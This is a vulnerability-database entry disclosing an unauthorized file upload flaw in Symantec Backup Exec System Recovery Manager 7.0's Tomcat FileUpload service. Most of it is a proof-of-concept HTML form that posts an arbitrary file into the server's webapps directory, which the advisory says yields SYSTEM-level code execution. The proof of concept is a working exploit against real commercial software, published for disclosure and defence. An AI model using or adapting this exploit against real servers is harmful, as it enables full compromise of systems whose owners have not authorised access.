Symantec Backup Exec System Recovery Manager 7.0 FileUpload Class Unauthorized File Upload Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Symantec Backup Exec System Recovery Manager 7.0 Vulnerabilit


                                                source: http://www.securityfocus.com/bid/27487/info

Symantec Backup Exec System Recovery Manager is prone to a vulnerability that allows arbitrary unauthorized files to be uploaded to any location on the affected server.

This issue resides in the Symantec LiveState Apache Tomcat server. Attackers can leverage it to execute arbitrary code with SYSTEM-level privileges and completely compromise affected computers. 

&#60;?xml version=&#34;1.0&#34;?&#62;
&#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&#62;
  &#60;head&#62;&#60;title&#62;File Upload POC&#60;/title&#62;&#60;/head&#62;
  &#60;body&#62;
    &#60;h2&#62; Backup Exec System Recovery Manager 7.0&#60;br&#62;File Upload POC&#60;/h2&#62;
    &#60;form action=&#34;https://www.example.com:8443/axis/FileUpload&#34; method=&#34;post&#34;
enctype=&#34;multipart/form-data&#34;&#62;
      Remote Path: &#60;input name=&#34;path&#34; size=&#34;100&#34; type=&#34;text&#34;
value=&#34;C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis&#34;/&#62;&#60;br/&#62;
	File to upload: &#60;input name=&#34;log_file&#34; type=&#34;file&#34;/&#62;&#60;br/&#62;
      &#60;hr/&#62;
      &#60;p&#62;&#60;input type=&#34;submit&#34;/&#62;&#60;input type=&#34;reset&#34;/&#62;&#60;/p&#62;
	  &#60;/form&#62;
(c)BastardLabs 2008.
  &#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1